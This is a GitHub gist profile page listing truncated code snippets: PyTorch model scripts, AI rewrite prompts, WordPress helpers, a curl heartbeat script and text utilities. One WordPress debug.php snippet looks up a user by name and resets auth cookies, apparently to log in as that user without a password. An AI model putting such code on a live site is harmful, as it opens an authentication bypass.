Skip to content

Instantly share code, notes, and snippets.

View tallesairan's full-sized avatar
🏠
Working from home

Talles Airan tallesairan

🏠
Working from home
View GitHub Profile
<?php
function home_url($path){
$protocol = 'http://';
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') {
$protocol = 'https://';
}
$host = $_SERVER['HTTP_HOST'];
return $protocol.$host.$path;
}
// ativa ou desativar redirect
@tallesairan
tallesairan / gpta.py
Created August 11, 2023 14:20 — forked from NaxAlpha/gpta.py
a custom gpt-like model that is tiny but can also scale context very long
import math
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.backends.cuda as cuda
class NewGELU(nn.Module):
def forward(self, x):
@tallesairan
tallesairan / pythia_1b4_8k.py
Created August 11, 2023 14:19 — forked from NaxAlpha/pythia_1b4_8k.py
Fine-tune Pythia 1.4b model for 8k context window, this script requires at least 40 GB of memory, 15-20 hours of fine-tune is sufficient.
import copy
import torch
import torch.nn.functional as F
import torch.backends.cuda as cuda
from torch.utils.data import DataLoader, IterableDataset
import wandb
from tqdm import tqdm
import bitsandbytes as bnb
@tallesairan
tallesairan / 31 AI Prompts that are better than Rewrite.md
Created July 26, 2023 21:36
31 AI Prompts that are better than “Rewrite”

31 AI Prompts that are better than “Rewrite”

  • Paraphrase: This is useful when you want to avoid plagiarism
  • Reframe: Change the perspective or focus of the rewrite.
  • Summarize: When you want a quick overview of a lengthy topic.
  • Expand: For a more comprehensive understanding of a topic.
  • Explain: Make the meaning of something clearer in the rewrite.
  • Reinterpret: Provide a possible meaning or understanding.
  • Simplify: Reduce the complexity of the language.
  • Elaborate: Add more detail or explanation to a given point.
@tallesairan
tallesairan / debug.php
Created May 12, 2023 14:30
Get user by id and log-in
<?php
$username = "z";
$user = get_user_by('login', $username );
// Redirect URL //
if ( !is_wp_error( $user ) )
{
wp_clear_auth_cookie();
@tallesairan
tallesairan / elastic_heartbeat.sh
Created March 10, 2023 15:49
Elasticsearch & Nginx Reverse proxy heartbeat
#!/bin/sh
# Your heartbeat URL here (must be hosted on this server)
URL_TO_CHECK="http://ngb1.ahvideoscdn.net"
# Your temp file to monitor downtime
DOWN_FILE="/root/site_down";
# How long will you tolerate downtime in minutes
DOWN_TIME="+0";
HTTP_STATUS=`curl -s -o /dev/null -w "%{http_code}" "$URL_TO_CHECK"`;
@tallesairan
tallesairan / README.md
Created February 7, 2023 20:21
How to unpack .wpress archive files created by the All-in-one-Wp-Migration Wordpress plugin

How to unpack .wpress archive files created by the All-in-one-Wp-Migration Wordpress plugin

Recently I needed to download some files from a Wordpress installation where the client only gave me access to the admin dashboard. Fortunately the All-in-One WP Migration plugin was already installed, so I could take a quick backup of the whole site by downloading the installed plugins, theme and database. To my surprise downloading the backup from the All-in-One WP Migration plugin only gave me a single compressed migration.wpress file that any unpack tool refused to extract. A little web search brought me to a five year old tool called Wpress-Extractor but the provided binaries for MacOS refused to work because the package was already too old.

So I decided to rewrite this little helpful tool in Node.js to make it cross-platform compatible for Windows, MacOS and Linux.

Ok here it is: A simple 2-step tutorial how to extract a file with the .wpress extension on your computer:

  1. Step
@tallesairan
tallesairan / remove_domains and emails from string.php
Created February 7, 2023 15:30
Remove texts and emails from string
<?php
function removeDomainsFromString($string){
return trim( preg_replace('/[a-zA-Z]*[:\/\/]*[A-Za-z0-9\-_]+\.+[A-Za-z0-9\.\/%&=\?\-_]+/i','',preg_replace('/[^@\s]*@[^@\s]*\.[^@\s]*/', '',$string)));
}
@tallesairan
tallesairan / TextMinifier.php
Created August 4, 2022 19:52
Simple cache management on php scripts like wordpress super cache structure
<?php
namespace x\minify\_ { // start namespace
$n = __NAMESPACE__;
\define($n . "\\token_boolean", '\b(?:true|false)\b');
\define($n . "\\token_number", '-?(?:(?:\d+)?\.)?\d+');
\define($n . "\\token_string", '(?:"(?:[^"\\\]|\\\.)*"|\'(?:[^\'\\\]|\\\.)*\')');
@tallesairan
tallesairan / README.md
Created August 3, 2022 15:39
OSX Text Tools

Merge files

Cd folder with all files

cat *.csv >combined.csv

Shuffle lines

perl -MList::Util=shuffle -e 'print shuffle();' < myfile > target_file